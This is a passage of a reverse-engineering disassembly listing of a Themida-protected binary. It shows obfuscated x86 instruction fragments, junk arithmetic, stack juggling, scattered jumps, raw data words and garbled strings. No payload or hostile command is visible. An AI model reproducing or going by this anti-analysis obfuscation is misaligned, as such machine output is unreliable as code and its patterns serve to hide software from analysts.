1584B19h, 3D9E9C8h dd 0F1810000h, 0AECD74EBh, 8159CD31h, 87423E9h, 81E90144h dd 87423C1h, 80EE944h, 835F0000h, 0EC8304C4h, 243C8904h dd 12254E9h, 24148900h, 42474FFh, 1D9EE9h, 5FFA0900h, 3E31E281h dd 0ABE93D08h, 5000071h, 634C4394h, 9662E951h, 0C6880000h dd 4EC8158h, 89000000h, 0D0B1240Ch, 0E901B050h, 0D913h ; --------------------------------------------------------------------------- loc_552C04: ; CODE XREF: Themida_:005643D5j mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp jmp loc_55285F ; --------------------------------------------------------------------------- db 52h, 89h, 0F2h aISdq db '┴пИ╓÷',0 dw 0B200h dd 2E2C038h, 7A816853h, 0FEE90000h, 51000112h, 0EE88FD88h dd 241C8B59h, 4C481h, 0EC800000h, 82EC809Dh, 0E952F428h dd 13A2Bh, 0E904C483h, 0FFFFE897h ; --------------------------------------------------------------------------- loc_552C54: ; CODE XREF: Themida_:00559F5Fj mov ebx, 4 jmp loc_562FCF ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0C381D301h, 21551CBCh, 52A1C381h, 0C8E92CBAh, 500000AEh dd 8E113568h, 0BC15E912h db 2 dup(0) word_552C82 dw 34FFh ; DATA XREF: Themida_:005513F0o dd 2434FF24h, 8324048Bh, 0D16804C4h, 89000017h, 0DD68242Ch dd 89000073h, 4812424h, 424h, 2434FF00h, 0E9242C8Bh, 12BFCh ; --------------------------------------------------------------------------- loc_552CB0: ; CODE XREF: Themida_:0055B342j sub bl, 8Eh add ah, bl jmp loc_563FC2 ; --------------------------------------------------------------------------- dw 0EC83h dd 305DE904h db 1, 0 ; --------------------------------------------------------------------------- loc_552CC2: ; CODE XREF: Themida_:0056104Bj neg ebx inc ebx shl ebx, 2 jmp loc_5546C9 ; --------------------------------------------------------------------------- db 81h, 0EFh, 50h dd 0C1007413h, 0B0E904EFh, 8900004Bh, 8E92404h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552CE3: ; CODE XREF: Themida_:0055B5A4j mov edi, 77423E11h xor edi, 29CF4C30h jmp loc_5560EF ; --------------------------------------------------------------------------- db 1 aQBPgs db 'уQ╧│,▐gИ>ю',0 align 10h dword_552D00 dd 8B2434FFh, 0C483240Ch, 480A6804h, 0C890000h, 0E1EEE924h ; DATA XREF: Themida_:0055128Co dd 4890000h, 865B024h, 0C38058C3h, 67A8E9C7h, 0EEC10000h dd 0A0F68103h, 816F857Eh, 7F9D22EEh, 5EF3891Fh, 8106EBC1h dd 82609ACBh, 8EBC159h, 0FFEA62E9h, 0B850FFh, 29000000h dd 815896F0h, 4769F2EEh, 0F189516Eh, 8B59CD89h, 0C4812434h dd 4, 2C8BE801h, 4C48324h, 50E38953h, 0F516D5B8h, 493A2D64h dd 972D1224h, 152D0CDh, 0EB8158C3h, 4, 0E9241C33h, 12059h ; --------------------------------------------------------------------------- loc_552D94: ; CODE XREF: Themida_:00561292j pop esp jmp loc_55E868 ; --------------------------------------------------------------------------- loc_552D9A: ; CODE XREF: Themida_:005590BAj mov esi, esp add esi, 4 jmp loc_554D56 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 4EC8324h, 0E9243C89h, 596Eh ; --------------------------------------------------------------------------- loc_552DB8: ; CODE XREF: Themida_:005602E7j push dword ptr [esp] pop esi jmp loc_556893 ; --------------------------------------------------------------------------- aVsf5 db 'VИД5',0 db 0 ; --------------------------------------------------------------------------- loc_552DC7: ; CODE XREF: Themida_:005516D8j push 3DEh mov [esp], esi mov esi, esp sub esp, 4 mov [esp], edx mov edx, 4 add esi, edx pop edx jmp loc_5598F8 ; --------------------------------------------------------------------------- loc_552DE7: ; CODE XREF: Themida_:0055B1A7j sub ebp, 70DC409Fh jmp loc_564E04 ; --------------------------------------------------------------------------- dw 835Ch dd 92E904ECh, 1000085h, 0C8B59C8h, 4C48324h, 0C63EB81h dd 0C329148Bh, 0C1968h, 243C8900h, 77E06850h, 0F7587FD1h dd 8E952D8h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552E23: ; CODE XREF: Themida_:00551EACj shl esi, 2 push ebp push 0FFDCAA14h jmp loc_55812D ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 57000000h, 0C781E789h, 4, 0E904EF83h, 2AFh, 0E76546BFh dd 7FC7813Ch, 8344747Ah, 0EC83FFC7h, 240C8904h, 110D9E9h dd 58C13100h, 0C8BCD89h, 0E0895024h, 405h, 40500h, 4870000h dd 0EB815C24h, 70945ACBh, 2944EB81h, 0EB013E98h, 2944C381h dd 0ADE93E98h db 0, 1, 0 ; --------------------------------------------------------------------------- loc_552E93: ; CODE XREF: Themida_:005608FFj sub dh, ah pop eax pop ecx not dh xor dh, 0Ah sub bl, 0C9h jmp loc_55416A ; --------------------------------------------------------------------------- aMsL db '╛Ипl',0 ; DATA XREF: Themida_:00551280o align 2 loc_552EAA: ; CODE XREF: Themida_:0055E76Ej mov eax, [esp] push 0BE4h mov [esp], eax jmp loc_5614B7 ; --------------------------------------------------------------------------- dw 0F581h dd 7F81DB47h, 835DEE89h, 348904ECh, 56036824h, 0E95E5BBBh dd 0B9BAh, 8B24048Fh, 0BF0F2424h, 4B0C68C8h, 0C890000h dd 0DC3BE924h, 0D0F70000h, 35D9472Dh, 0FFC389DCh, 81582434h dd 4C4h, 7EEB8100h, 1113C15h, 359EE9DEh, 425F0001h, 0EA81DAF7h dd 0C942DA50h, 1901E9h, 241C8B00h, 751C68h, 24048900h dd 405E089h, 5000000h, 4, 5C240487h, 12C98E9h, 40500h dd 4050000h, 87000000h, 15C2404h, 243C8BFDh, 4276E9h, 45A96800h dd 0DBE90000h, 8F000036h, 0FF5C2404h, 0E585E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552F66: ; CODE XREF: Themida_:0055F7B9j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or edx, eax jmp loc_55EB3C ; --------------------------------------------------------------------------- db 59h dd 4EC8353h, 0E9240C89h, 0E9C7h ; --------------------------------------------------------------------------- loc_552F84: ; CODE XREF: Themida_:00561E69j not ebx inc ebx or ebx, 31560C05h neg ebx sub esp, 4 mov [esp], edx mov edx, 0DC51526h jmp loc_56641E ; --------------------------------------------------------------------------- loc_552FA2: ; CODE XREF: Themida_:00551749j add esp, 4 jmp loc_5583B3 ; --------------------------------------------------------------------------- dw 8968h dd 89000079h, 8B54241Ch, 0C483241Ch, 4BA5204h, 1000000h dd 0EC815AD3h, 4, 0B8240489h, 0F993CEFh, 0E8C1D8F7h, 3EF83505h dd 17E96C6Ah db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552FDF: ; CODE XREF: Themida_:00556315j add esp, 4 push ebp mov ebp, esp jmp loc_555A4B ; --------------------------------------------------------------------------- db 56h, 0F7h, 14h aS_6 db '$Ия)',0 align 2 loc_552FF6: ; CODE XREF: Themida_:005658A7j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 699Bh mov [esp], esp sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_5536E8 ; --------------------------------------------------------------------------- db 89h dd 8B682414h, 89000068h, 4CE92424h, 3300005Ah, 2C31242Ch dd 0B1A2E924h, 0C3810000h, 3F256D89h, 0EB81FB01h, 3F256D89h dd 5126E9h, 15A5B00h, 0F261E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55305A: ; CODE XREF: Themida_:00554DCFj not edx push edi mov edi, 4044C92h and edi, 4AC11EDBh jmp loc_55D301 ; --------------------------------------------------------------------------- a1S db '1<$И"в',0 dd 0B7C28100h, 0E9706E7Ch, 0FFFFE46Bh, 5FE9E089h, 46FFFFEBh dd 0D2D2C681h, 0F589A9A9h, 8124348Bh, 4C4h, 0FFE92900h dd 815D2434h, 4C4h, 933E900h, 7DBF0001h, 81E0F8F9h, 8C58DEEFh dd 81DF0132h, 8C58DEC7h, 0FEE95B32h, 68FFFFFCh, 0BD2h dd 0BA241489h, 4, 1E7C681h, 0D601523Ch, 9926E9h db 0 ; --------------------------------------------------------------------------- loc_5530DD: ; CODE XREF: Themida_:00560199j push ebx mov ebx, 3C6E6A0Dh mov ebp, ebx pop ebx or ebp, 5801610Ah jmp loc_5584CF ; --------------------------------------------------------------------------- db 56h, 0E9h, 0BCh dd 57000015h, 411AE9h db 0 byte_5530FD db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055148Co dd 0D359669Dh, 0E99C241Ch, 6DC4h, 8704C383h, 835C241Ch dd 786804C7h, 89000042h, 74FF243Ch, 34FF0424h, 0C4815F24h dd 4, 5C24048Fh, 0E9240431h, 0FFFFE3B3h ; --------------------------------------------------------------------------- loc_553138: ; CODE XREF: Themida_:0055F061j add eax, 732D7AD3h pop edx or eax, eax jnz loc_5583CF mov edx, 19A17497h jmp loc_558C7B ; --------------------------------------------------------------------------- loc_553150: ; CODE XREF: Themida_:0055EF71j push ebx mov ebx, 159E71D9h shl ebx, 3 add ebx, 66B77A2Bh mov edi, ebx jmp loc_565AF6 ; --------------------------------------------------------------------------- word_553166 dw 34FFh ; DATA XREF: Themida_:00551338o dd 24048B24h, 6804C483h, 697Ch, 89241C89h, 37EF68E3h, 0C890000h dd 0E6895624h, 4C681h, 0EE830000h, 24348704h, 2434895Ch dd 290FE9h, 4EC8300h, 4B5AE9h, 80E2B700h, 0DFF65FEFh, 0F780DFF6h dd 7CC7807Ah, 88F98851h, 805B59CEh, 7AE9E8EEh db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_5531BF: ; CODE XREF: Themida_:00562357j pop esi jmp loc_561777 ; --------------------------------------------------------------------------- db 0BEh, 0ADh, 6Eh dd 0F0291267h, 66852D5Eh, 6E2D6DF1h, 0E91DC84Ch, 0CEA8h dd 2C5AD788h, 4F82814h, 0A816E914h, 0CD30000h, 0F8E99C24h dd 56FFFFE2h, 6F31FEBEh, 5883BD71h, 0F529860Eh, 8324348Bh dd 0BA5204C4h, 365E535Fh, 148BD529h, 4C48324h, 1ED81h dd 0EDC10000h, 0E58DE908h, 3C870000h, 24248B24h, 0E9C8B70Fh dd 0E7F9h ; --------------------------------------------------------------------------- loc_553230: ; CODE XREF: Themida_:00556E14j pop dword ptr [edx+38h] jmp loc_55A184 ; --------------------------------------------------------------------------- dd 815AD001h, 191FDFC1h, 0F948E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553246: ; CODE XREF: Themida_:0055F197j neg eax sub eax, 0AEDCE7DCh jmp loc_55409C ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0BEE90000h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55325F: ; CODE XREF: Themida_:0055248Cj add ecx, 5DA24162h jmp loc_554325 ; --------------------------------------------------------------------------- dw 0E581h dd 4178764Dh, 32B4F581h, 0EA015CE7h, 8BD1015Dh, 89502414h dd 405E0h, 0C0830000h, 24048704h, 0E957525Ch, 0DF5Ch, 0EA4C09BAh dd 5AD1090Ah, 0E903E1C1h, 12047h, 1138BB8h, 2EE95365h dd 29FFFFF0h, 243C8BF9h, 134E7E9h, 0F2015D00h, 5E2434FFh dd 3304C483h, 14312414h, 2F2EE924h db 1, 0 ; --------------------------------------------------------------------------- loc_5532CE: ; CODE XREF: Themida_:005588EFj push 452Ch mov [esp], edx push ebx add dword ptr [esp], 6EE7D9Fh mov edx, [esp] add esp, 4 push edi jmp loc_564506 ; --------------------------------------------------------------------------- dw 492Ch dd 240C8B66h, 8302C483h, 1C8904ECh, 0B3535124h, 71EB8062h dd 0F856E9h, 2595BB00h, 0EB8178BCh, 14C617DBh, 0A5ABEB81h dd 0DD295C4Eh, 11FB0E9h, 5E2C100h, 5363E9h, 0B9515A00h dd 4, 34FFCA01h, 240C8B24h, 4EC81h, 1C890000h, 0FF10E924h dd 505EFFFFh, 405E089h, 5000000h, 4, 5C240487h, 741BC281h dd 685312A7h, 58B93C79h, 2568575Bh, 5FD39AC8h, 0A315E9h db 0 ; --------------------------------------------------------------------------- loc_55336D: ; CODE XREF: Themida_:00560718j pop ebp jmp loc_561891 ; --------------------------------------------------------------------------- db 5Fh dd 4C281h, 14870000h, 51505C24h, 12A62E9h db 0 ; --------------------------------------------------------------------------- loc_553385: ; CODE XREF: Themida_:005550B2j mov esi, 37B5415Fh xor [esp+4], esi mov esi, [esp] push ebx jmp loc_559795 ; --------------------------------------------------------------------------- loc_553397: ; CODE XREF: Themida_:00554408j shl edx, 3 jmp loc_556907 ; --------------------------------------------------------------------------- db 5 dd 0EC6DF78Fh, 2958C201h, 65E95AD1h, 0B1000027h, 515604BDh dd 0C4E98EB1h, 5E000007h, 5C241C87h, 0E9242489h, 10CB4h dd 74FF515Dh, 1BE90424h, 5700004Dh, 1EDEBFh, 247C3170h dd 0E95B5F04h, 0C547h ; --------------------------------------------------------------------------- loc_5533E4: ; CODE XREF: Themida_:005586B0j add edi, 0D2E95886h mov ecx, edi pop edi shr ecx, 4 neg ecx sub ecx, 6A741F78h push ebp mov ebp, 1EF25081h shl ebp, 2 sub ebp, 74C7453Ah jmp loc_5668EF ; --------------------------------------------------------------------------- aBGDoiSt db '│ц┐',27h,'╓o┴щИБс',0 dd 30BD5500h, 2943CD5Ah, 53565DEFh, 63389F68h, 71E95B3Eh db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55342F: ; CODE XREF: Themida_:0055E533j push esp pop edi push eax mov eax, 58411602h add eax, 0A7BEEA02h jmp loc_554B20 ; --------------------------------------------------------------------------- loc_553441: ; CODE XREF: Themida_:0055484Fj push dword ptr [esp] pop eax jmp loc_55E961 ; --------------------------------------------------------------------------- dw 4A68h dd 0E900003Fh, 35F9h, 0FF243489h, 0FF042474h, 0C5E92434h dd 5B00002Dh, 0C3E6E9h, 0FE1BB100h, 0E95266C9h, 2C1Bh dd 8324148Bh, 525504C4h, 9C321DBAh, 79C28154h, 4A69E34Fh dd 0F74EA81h, 0EA816231h, 3319148Ah, 96F2814Ah, 8929355Dh dd 29E95AD5h db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5534A3: ; CODE XREF: Themida_:005536A0j pop esp add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_5514EB ; --------------------------------------------------------------------------- dd 559CB31h, 56F66A81h, 0EC81D829h, 4, 0BF243C89h, 727E6368h dd 0FFF396E9h, 58C609FFh, 5E13F681h, 0AFE93206h db 0BEh, 2 dup(0) byte_5534EB db 0FFh ; DATA XREF: Themida_:00551370o dd 34FF2434h, 0C4835824h, 34ECE904h, 0E2890000h, 4C281h dd 0EA810000h, 4, 5C241487h, 54240489h, 12309E9h, 243C8B00h dd 0E904C483h, 966Eh ; --------------------------------------------------------------------------- loc_553520: ; CODE XREF: Themida_:00551E4Ej add ebp, esi mov esi, [esp] add esp, 4 push edi jmp loc_556DC0 ; --------------------------------------------------------------------------- db 68h, 99h, 39h dd 2C890000h, 7BE95324h, 8F000087h, 248B2404h, 240C8924h dd 651A68h, 24248900h, 4B850h, 6C810000h, 77AB0424h, 440164D9h dd 0C1E90424h, 81000088h, 1A5E4FF2h, 5AD70171h, 4C781h dd 3C870000h, 6CE95C24h, 81FFFFDFh, 9B5C88CAh, 0C2814A4Ch dd 0A144A378h, 11006E9h, 24243000h, 0F9EBE9h, 24048900h dd 42B7E9h, 1BED8100h, 290DF99Ch, 51595DEBh, 64770B9h dd 92C18177h, 188F9B8h, 240C8BCBh, 6804C483h, 5665h, 0E9241C89h dd 0E7D6h, 5E20E7BDh, 0BDBA520Eh, 1112C08h, 3F8CE9D5h dd 0EF890000h, 81242C8Bh, 4C4h, 2CBD5500h, 0E90D593Dh dd 7B8Dh ; --------------------------------------------------------------------------- loc_5535F4: ; CODE XREF: Themida_:00553D22j xchg eax, [esp] pop esp jmp loc_555314 ; --------------------------------------------------------------------------- aYs db 'YИя╬',0 dw 8900h dd 0D9682434h, 5E28A55Eh, 0D15EF289h, 52C281E2h, 0E9AEB542h dd 11A8h ; --------------------------------------------------------------------------- loc_55361C: ; CODE XREF: Themida_:005565DAj mov esp, [esp] jmp loc_5616E1 ; --------------------------------------------------------------------------- dd 824248Bh, 0E99C2404h, 0FFFFDEBBh, 2B8h, 0BFAFE900h dd 0EC830000h, 24048904h, 2B8h, 0E9C50100h, 12F25h, 0BB10D1B8h dd 0D0F74066h, 0AA822935h, 58C1316Bh, 1EA3E9h, 246C8100h dd 72780504h, 245C011Dh, 24448104h, 72780504h, 0C6BA521Dh dd 12D9540h, 5A082454h, 5860E9h, 2434FF00h, 8B2434FFh dd 0C4832404h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5534A3 ; --------------------------------------------------------------------------- byte_5536A5 db 68h, 3Eh, 1Bh ; DATA XREF: Themida_:005513C0o dd 0CDE90000h, 57000006h, 385B6856h, 815E7428h, 734304F6h dd 0F5895557h, 5E5DEF89h, 6BA6F781h, 0F9292B43h, 83243C8Bh dd 0E92904C4h, 10F9C181h, 875D0818h, 665C240Ch, 0E9240489h dd 0FFFFDE03h ; --------------------------------------------------------------------------- loc_5536E8: ; CODE XREF: Themida_:0055301Ej push ecx mov ecx, 64B6514Dh sub [esp+8], ecx pop ecx sub dword ptr [esp+4], 75431496h add [esp+4], edi add dword ptr [esp+4], 75431496h jmp loc_55FA44 ; --------------------------------------------------------------------------- loc_55370C: ; CODE XREF: Themida_:005540A7j push ecx jmp loc_558D29 ; --------------------------------------------------------------------------- dw 4E68h dd 8900002Dh, 0DBE9242Ch, 810000F5h, 861DABE7h, 3BCF810Dh dd 5647E74Dh, 7FBBD55h, 0DDF71AB3h, 0BA52D5F7h, 2AC3786Eh dd 70E9D509h, 870000D1h, 525C243Ch, 2609E9h db 0 ; --------------------------------------------------------------------------- loc_55374D: ; CODE XREF: Themida_:0055BE9Cj add eax, 4 sub esp, 4 mov [esp], ebp jmp loc_56021E ; --------------------------------------------------------------------------- dd 56242489h, 4BEh, 24740100h, 48F5E04h, 24048124h, 4 dd 0FFE372E9h, 510566FFh, 0F8296635h, 35512D66h, 7C6E9h dd 1C68300h, 8106E6C1h, 5A8ABEEEh, 13EB81E4h, 294C4E16h dd 13C381F3h, 0E94C4E16h, 106FCh, 0E958E528h, 3FECh ; --------------------------------------------------------------------------- loc_5537B4: ; CODE XREF: Themida_:005632E7j mov ebp, 4 add ecx, ebp pop ebp add ecx, 4 jmp loc_55BCDF ; --------------------------------------------------------------------------- db 52h dd 0F627E9h db 0 ; --------------------------------------------------------------------------- loc_5537CD: ; CODE XREF: Themida_:00558068j mov edx, [esp] jmp loc_554388 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FF04C483h, 815B2434h, 4ECh, 240C8900h, 4EC81h, 7AE90000h dd 87000107h, 248B242Ch, 14896624h, 9C506624h, 0FFEE26E9h dd 241433FFh, 33241431h, 248B2414h, 0E2C8E924h, 2489FFFFh dd 24048324h, 242C8B04h, 4C481h, 0A2E90000h db 44h, 2 dup(0) byte_55382B db 0FFh ; DATA XREF: Themida_:00551290o dd 589D1C77h, 9C240419h, 0FFDCB2E9h, 0B15150FFh, 59C8886Bh dd 0FE58C628h, 0E9D6F6CEh, 5090h ; --------------------------------------------------------------------------- loc_55384C: ; CODE XREF: Themida_:005651A4j push 7911h mov [esp], ecx mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_55C3AC ; --------------------------------------------------------------------------- dw 5A58h dd 387F8858h, 2434FF5Bh, 81A6E9h db 0 ; --------------------------------------------------------------------------- loc_55387D: ; CODE XREF: Themida_:00560A1Aj add esp, 4 mov eax, [esp] add esp, 4 push ecx jmp loc_558BDF ; --------------------------------------------------------------------------- db 33h dd 895C2434h, 66E9243Ch db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_55389B: ; CODE XREF: Themida_:00565A6Ej mov [esp], eax pop ecx push ecx push ebp mov ebp, 5F691636h xor [esp+4], ebp pop ebp pop ebp push 1944h mov [esp], edi mov edi, 312458A0h or edi, 0E765ACCh sub edi, 1C610395h add edi, 4EC056FDh sub edi, 126C981Eh jmp loc_5570B7 ; --------------------------------------------------------------------------- loc_5538D6: ; CODE XREF: Themida_:005569E1j add esp, 4 sub ecx, 0CE04B0EBh push ebx mov ebx, 24h add ebx, edi add [ebx], ecx pop ebx push dword ptr [esp] pop ecx add esp, 4 loc_5538F1: ; CODE XREF: Themida_:00552A6Fj push 59ACh mov [esp], ebp mov ebp, esp jmp loc_55A363 ; --------------------------------------------------------------------------- loc_553900: ; CODE XREF: Themida_:005639B5j push 3771h jmp loc_55C32F ; --------------------------------------------------------------------------- dw 0D631h dd 0FFFB63E9h db 0FFh ; --------------------------------------------------------------------------- loc_553911: ; CODE XREF: Themida_:0055810Ej add ecx, 2EF9FCBEh jmp loc_559917 ; --------------------------------------------------------------------------- loc_55391C: ; CODE XREF: Themida_:0056334Ej mov esp, [esp] or [esp], eax pushf jmp loc_5514EB ; --------------------------------------------------------------------------- dd 0FE90EB80h, 5E3C0CBh, 5EE9DBF6h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553937: ; CODE XREF: Themida_:0055D304j add edi, 0E7D2401h sub edi, 98451737h not edi inc edi push edi xchg ecx, [esp] not ecx xchg ecx, [esp] jmp loc_557146 ; --------------------------------------------------------------------------- loc_553954: ; CODE XREF: Themida_:0055E8A3j sub eax, 568A5DC9h add eax, ebp jmp loc_554DD4 ; --------------------------------------------------------------------------- dword_553960 dd 24048B66h, 4EC81h, 0E9E90000h ; DATA XREF: Themida_:005513A8o db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55396F: ; CODE XREF: Themida_:00566B75j mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 sub eax, 4 jmp loc_56128F ; --------------------------------------------------------------------------- db 53h dd 4EC8151h, 89000000h, 0D0882404h, 8858C188h, 0C21FE9CFh dd 0C890000h, 4B924h, 4C010000h, 8F590424h, 0B9512404h dd 4, 0C8BE5653h, 0E97F1E4Ch, 1F1Eh, 0D0C4B753h, 7E7C0EFh dd 800ACF80h, 1AE93EC7h, 0BD0000BEh, 4, 0DE0E9h, 14513500h dd 3E357E10h, 29310DC8h, 0BD5558C7h, 134C7706h, 12AB9E9h dd 82F18100h, 81319F01h, 0D7192BC9h, 7BE9810Fh, 1EFDFBFh dd 0BE5659CBh, 27916A2Ah, 0FFFD78E9h, 24148BFFh, 6ACAE9h db 0 ; --------------------------------------------------------------------------- loc_553A1D: ; CODE XREF: Themida_:00553F4Ej not ebp shl ebp, 5 shr ebp, 2 add ebp, 69F1347Dh not ebp sub ebp, 3C19BA21h or edx, ebp jmp loc_55A052 ; --------------------------------------------------------------------------- dw 8366h dd 66022404h, 6624048Fh, 2240483h, 1439E9h, 240C8900h dd 0FFF95AE9h db 0FFh ; --------------------------------------------------------------------------- loc_553A55: ; CODE XREF: Themida_:00560773j mov esi, 3343080Fh mov eax, 3343080Fh sub eax, esi mov esi, [esp] add esp, 4 push ebx push 24h jmp loc_55E374 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 0DA98E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553A82: ; CODE XREF: Themida_:00566600j mov ecx, 20E91900h add ecx, 5CE6FF6Bh sub esi, 51E66576h sub esi, ecx add esi, 51E66576h push dword ptr [esp] pop ecx jmp loc_556E83 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0E904E983h, 574h ; --------------------------------------------------------------------------- loc_553AB4: ; CODE XREF: Themida_:00556FA0j shl ecx, 6 push eax mov eax, 7F945A96h add eax, 84231CA2h jmp loc_5663C6 ; --------------------------------------------------------------------------- loc_553AC7: ; CODE XREF: Themida_:0056642Aj shl edx, 6 xor edx, 0CE1B9FE9h sub ebx, 7FA02008h jmp loc_557E28 ; --------------------------------------------------------------------------- db 5Dh dd 9A05D829h, 5506344h, 2B46483Ah, 70026855h, 4890000h dd 51525524h, 0B21C4CB9h, 0FBB85041h, 2D100B43h, 0BBBD08F1h dd 4958C101h, 1C01C181h, 0CA89A280h, 8BD58959h, 0C4832414h dd 67685204h, 5A07D254h, 4DEA8142h, 817E1000h, 70859BEAh dd 0E9D08999h, 0A2B8h ; --------------------------------------------------------------------------- loc_553B34: ; CODE XREF: Themida_:00552421j mov esi, [esp] add esp, 4 jmp loc_555F2A ; --------------------------------------------------------------------------- dw 2C89h dd 4EC8324h, 12375E9h db 0 ; --------------------------------------------------------------------------- loc_553B4D: ; CODE XREF: Themida_:00563293j push 3C4E642Ch pop edx xchg ebp, edx not ebp jmp loc_55DED4 ; --------------------------------------------------------------------------- aLYspu db ')l$',8,']YИ╞Ц',0 db 0 byte_553B67 db 66h ; DATA XREF: Themida_:00551304o dd 0E924048Bh, 6669h, 4EC8157h, 89000000h, 17E92414h, 0FE000072h dd 0E9C1FEC9h, 11912h, 27529FBFh, 2DE78127h, 813EAC4Ch dd 0A15F70F7h, 81DFF729h, 0E26A36EFh, 6E7C153h, 0FFE348E9h dd 242489FFh, 4BF57h, 89E90000h, 89000091h, 0CF815EF7h dd 621C2544h, 190EF81h, 0BB533981h, 208C3660h, 815BDF21h dd 6F6C2CEFh, 85EE81FFh, 29429154h, 85C681FEh, 5F429154h dd 348BF009h, 4C48324h, 0FB678735h, 0C589556Fh, 0F4D7E9h dd 0F3805A00h, 5BD83018h, 30D3B151h, 1B96E9C8h, 0C1810000h dd 6A81CDA0h, 0EEE95B51h db 0F0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C17: ; CODE XREF: Themida_:0056264Cj mov edx, 24h add edx, edi add [edx], esi mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi push edx sub esp, 4 mov [esp], esp jmp loc_562476 ; --------------------------------------------------------------------------- dw 0C501h dd 4053C581h, 0BF5758C3h, 86F6B82h, 8B5FFD29h, 67E92404h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C4F: ; CODE XREF: Themida_:00558F3Aj push 3C14h mov [esp], ebx mov ebx, 1Ch jmp loc_552B57 ; --------------------------------------------------------------------------- db 0B7h, 1Fh, 0F6h dd 8DC780D7h, 0E951DFF6h, 0FFFFF7F9h, 2414F752h, 0F7D7875Ah dd 794668D7h, 2C890000h, 78F3BD24h, 0EDD141C7h, 0BC78F581h dd 0EF0120E3h, 83242C8Bh, 0D7F704C4h, 2A20E9h, 34FF5800h dd 0C4835824h, 0E9FD0404h, 11069h, 8124148Bh, 4C4h, 0A150E900h dd 0FBBA0000h, 0E956A752h, 2C6Dh, 34FFC531h, 24048B24h dd 4C481h, 0C4810000h, 4, 3C791F2Dh, 28CD055Dh, 8A2D094Eh dd 2925F561h, 133AE9E8h db 1, 0 ; --------------------------------------------------------------------------- loc_553CEE: ; CODE XREF: Themida_:0055DB96j add edi, 4 push edx mov edx, 6C5F266Eh sub edx, 661F73D2h add edx, 0F9C04D68h add edi, edx pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5535F4 ; --------------------------------------------------------------------------- db 5Ah dd 8007EF80h, 94E929F7h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D33: ; CODE XREF: Themida_:005606E1j add esi, eax pop eax xor esi, 7DA6186Dh push esi not dword ptr [esp] pop esi push edi jmp loc_55AE6B ; --------------------------------------------------------------------------- aHck db '^h≈k',0 dd 0D0A1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553D52: ; CODE XREF: Themida_:0055F6A1j mov ecx, 66E9574Ah and ecx, 63951744h sub esp, 4 mov [esp], edx push 3EFB48A5h pop edx jmp loc_565F2C ; --------------------------------------------------------------------------- aVhr4 db 'VhЮ4',0 dw 0E900h dd 9BF2h, 68240489h, 4448h, 0BA241489h, 119976CAh, 8703EAC1h dd 0C8757FAh, 87D1F724h, 3C8B240Ch, 4C48324h, 5256FA87h dd 6467FABAh, 0AB6DE910h, 48F0000h, 14895C24h, 4EC8124h dd 89000000h, 38E9241Ch, 890000A2h, 1EB9240Ch, 0E9092548h dd 13E6h, 527D1EBBh, 7EBC16Ah, 94E3E9h, 0E9505800h, 0FFFFE74Eh dd 33241431h, 895C2414h, 9C502414h, 0FFD6F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_553DF5: ; CODE XREF: Themida_:00562D81j pop ecx push esi mov esi, edi mov eax, esi pop esi push dword ptr [esp] jmp loc_5520F3 ; --------------------------------------------------------------------------- dd 81E78957h, 4ECh, 241C8900h, 4BBh, 5BDF0100h, 6576B951h dd 0CE93CFAh, 87000053h, 0FAE9242Ch db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553E2B: ; CODE XREF: Themida_:00561FD6j mov edi, 0D4ADAA66h add edi, esi pop esi add edi, 25A64D2Bh dec edi push edi not dword ptr [esp] pop edi jmp loc_557D4C ; --------------------------------------------------------------------------- loc_553E44: ; CODE XREF: Themida_:00559F55j mov eax, 0A06297C3h add eax, ebx pop ebx jmp loc_55ADD4 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81240C8Bh, 4C4h, 4C48100h, 68000000h, 7C17h, 0FF241489h dd 0E9042474h, 0FFFFEC42h, 5AD3015Fh, 4C381h, 1C870000h dd 6F02E924h, 0EF810000h, 4C735894h, 0E1E9FA89h, 0E9FFFFFFh dd 0FFFFD653h, 0BE243489h, 4, 42768F2Dh, 5F00131h, 3142768Fh dd 74FF505Eh, 0E9580424h, 110Fh, 4EC81h, 14890000h, 81E28924h dd 4C2h, 4EA8100h, 